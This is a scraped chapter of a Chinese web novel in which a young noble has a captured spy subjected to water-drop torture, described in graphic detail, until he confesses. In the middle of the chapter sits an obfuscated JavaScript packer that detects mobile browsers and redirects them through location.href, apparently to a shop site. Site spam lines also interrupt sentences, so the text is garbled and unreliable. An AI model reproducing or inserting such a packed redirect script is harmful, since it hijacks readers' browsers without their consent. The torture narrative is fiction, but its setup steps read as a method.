第19章 太子,快套住那个穿越的~(17)

作品:《快穿:缺德宿主在线断缘

    外间的内侍察觉到动静,小心翼翼地探头一看,发现自家殿下醒了,几乎要喜极而泣,忙不迭地去端来温着的药膳。


    陈令也闻讯赶来,仔细为凌霰白诊了脉,又查看了伤口的情况,长舒一口气。


    “殿下吉人天相,脉象虽虚,但根基已稳,接下来只需按时服药,好生将养即可。


    这消息让所有提心吊胆了数日的人都松了一口气,压抑在心头的不安忐忑终于卸去。


    随后,凌霰白在内侍的伺候下,勉强用了几口药膳,便又昏昏沉沉地睡了过去。


    岑迦珝的目光在那张苍白脆弱的睡颜上停留一瞬,转身,出了屋子。


    ……


    院落一角,积雪未融,几丛枯枝在寒风中瑟缩,投下稀疏斑驳的暗影。


    岑迦珝一处背光的阴影处,对着看似空无一人的角落,低低问道:


    “擒住的狄戎暗探,可审问出什么了?


    暗处的暗卫闻言,略微迟疑。


    按照规矩,他们只听命于殿下一人,任何情报未经允许,不得向旁人泄露分毫。


    但……眼前这位世子明显不同,殿下对他的特殊,众人都有目共睹。


    短暂的权衡后,他自廊柱的阴影处悄然现身,垂首道:


    “回世子,那暗探名唤鲁达,骨头极硬,刑讯手段已用了七七八八,却始终未曾吐露半分有用信息。


    “骨头硬?


    岑迦珝呢喃着重复了一遍。


    作为历史系研究生,他研究的从来不只是王侯将相的丰功伟业。


    那些隐藏在华丽史册之下的、最黑暗血腥的部分,他自然也有所了解。


    比如,历朝历代的刑罚手段。


    和平年代,这些描述只是客观的学术知识。


    但在这个朝代,面对几乎夺去凌霰白性命的凶手……


    岑迦珝转过身,看向暗卫。


    “带我去。


    暗卫心头微凛。


    这位世子周身散发出的气息,竟与自家太子某些时候……有几分神似。


    那双总是含着三分笑意的凤眼,此刻沉静幽深,漾开一种难以言喻的压迫感。


    那是一种从骨子里透出来的,属于猎食者被触及逆鳞后


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    才会爆发出来的冷戾,令人心悸。


    暗卫立刻垂首应道:


    “是,世子请随我来。”


    他领着岑迦珝出了这座院落,穿过几条僻静曲折的小巷,进入一处废弃破败的民居中。


    移开地窖入口的伪装,一股混合着霉味、血腥气和**恶臭的阴冷气息猝然灌入鼻腔。


    岑迦珝蹙了蹙眉,但脚下未停,跟在暗卫身后,沿着陡峭湿滑的石阶,向下走去。


    越往下,那股令人作呕的气味便越是浓稠,光线也越发昏暗,只有墙壁上插着的几支火把提供着摇曳不定的光源。


    地窖空间不大,只有角落里立着一根粗壮的木桩,上面绑着一个血肉模糊的人影。


    那人衣衫褴褛,十指上的指甲被尽数剥离,指关节处肿胀发黑,极其怪异地扭曲着。


    裸露的肌肤上鞭痕与烙印交错,布料与翻卷的血肉黏连在一起,正往外渗着黄浊的脓水。


    岑迦珝脚步一顿,胃里不受控制地一阵翻涌,喉头隐隐发酸。


    他藏在袖中的指尖蓦地收紧,用刺痛强迫自己稳住心神,压下所有不适与抗拒。


    鲁达听到脚步声,艰难抬起头。


    浑浊的眼睛透过黏连成缕的乱发,死死盯住他,格外狰狞可怖。


    他咧开干裂流血的嘴唇,发出嗬嗬的的嗤笑。


    “嗬……我当是谁……原来是你啊……那位病太子……养在身边的小白脸。”


    “怎么?那毒很厉害吧,嗬……你急吼吼地跑来,是想替他……用你这张漂亮的脸蛋……求个解药?嗬…嗬……要是把本大爷伺候好了,告诉你也无妨,嗯?”


    字字句句,恶毒狎昵。


    岑迦珝面无表情地移开视线,转向一旁的暗卫。


    “听说过‘水滴石穿’吗?”


    暗卫一怔,不明所以:“请世子示下。”


    “找一张能固定他头部的椅子,后仰固定,再取一个底部有小孔的陶壶,装满清水,悬于他额头上方。”


    岑迦珝语速不快,交代完之后,又补充了一句。


    “记住,要让水滴恰好能滴落在他额心正中,且要连续、均匀,不能中断。”


    暗卫:???


    这算什么刑罚?不痛不痒,甚至听起来有些…


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    …儿戏?


    鲁达更是不屑,丝毫不以为然。


    很快,刑具准备妥当。


    鲁达被粗暴地拖拽到那张特制的椅子上,按照岑迦珝所描述的固定好。


    悬挂的水壶调整到位。


    “嗒。”


    第一滴,砸在眉心。


    冰凉刺骨,激得鲁达一哆嗦。


    紧接着,是第二滴,第三滴……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942729|185617||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “嗒。”


    “嗒。”


    “嗒……”


    起初只是冰凉和不适,但随着时间的推移,鲁达的感官不由自主地被完全吸引到了那一点上。


    他的呼吸逐渐粗重起来,


    这单调到令人发疯的滴水声,以及眉心不断积累的怪异感觉,让他无比焦躁难受。


    他想挣扎,可身体却完全不能动弹,只能被迫承受着。


    他开始嘶吼、怒骂,用尽污言秽语咒骂岑迦珝,咒骂凌霰白,咒骂整个大渊朝。


    岑迦珝坐在角落的阴影里,背脊挺直。


    跳动的火光在他脸上投下明暗不定的光影,让他看起来异常沉静。


    但那隐于袖中的指尖,却死死抵在掌心,抖得厉害。


    这是他第一次将书本上的知识,亲手施加在一个活生生的人身上。


    那每一滴落下的水,都像是敲打在他自己的神经上,带来一种细微却尖锐的窒痛。


    一个时辰


    两个时辰


    三个时辰……


    鲁达的声音早已变了调。


    从最初的怒骂和挑衅,变成了含混的呻吟和哀求,继而又变成歇斯底里的凄厉哀嚎。


    “杀了我——!!!”


    “求求你杀了我!!!”


    “给我个痛快!!!啊——!!!”


    他涕泪横流,五官扭曲,精神显然已经濒临崩溃。


    一旁的暗卫将整个过程尽收眼底,饶是他们见惯了各种血腥残酷的场面,此刻也不免有些心惊。


    他从未见过如此诡异的刑讯方式,手段堪称温和,不见皮开肉绽,不闻骨裂筋断,却令人毛骨悚然。


    岑迦珝没有喊停。


    直到又过了半个时辰,鲁达的身体开始间歇性痉挛,眼神涣散。


    那凄厉到不似人声的哀嚎变成了神经质的抽泣和呢喃:


    “停下……求求你停下……我受不了了,我说……我什么都说……求求你……”


    岑迦珝这才抬了抬手。


    暗卫立刻上前,动作麻利地解下了陶壶。


    岑迦珝走到他面前,居高临下地问。


    “毒,是从哪里来的?”


    鲁达涣散的眼神好半天才聚焦到岑迦珝脸上,充满了刻骨的恐惧和哀求,嘴唇哆嗦着说道。


    “……是……是乌恩带来的……”


    “大概……半个月前,具体哪里弄的……我不知道……真的不知道!他从来不告诉我们这些……”


    岑迦珝眸光微凝。


    时间点对得上。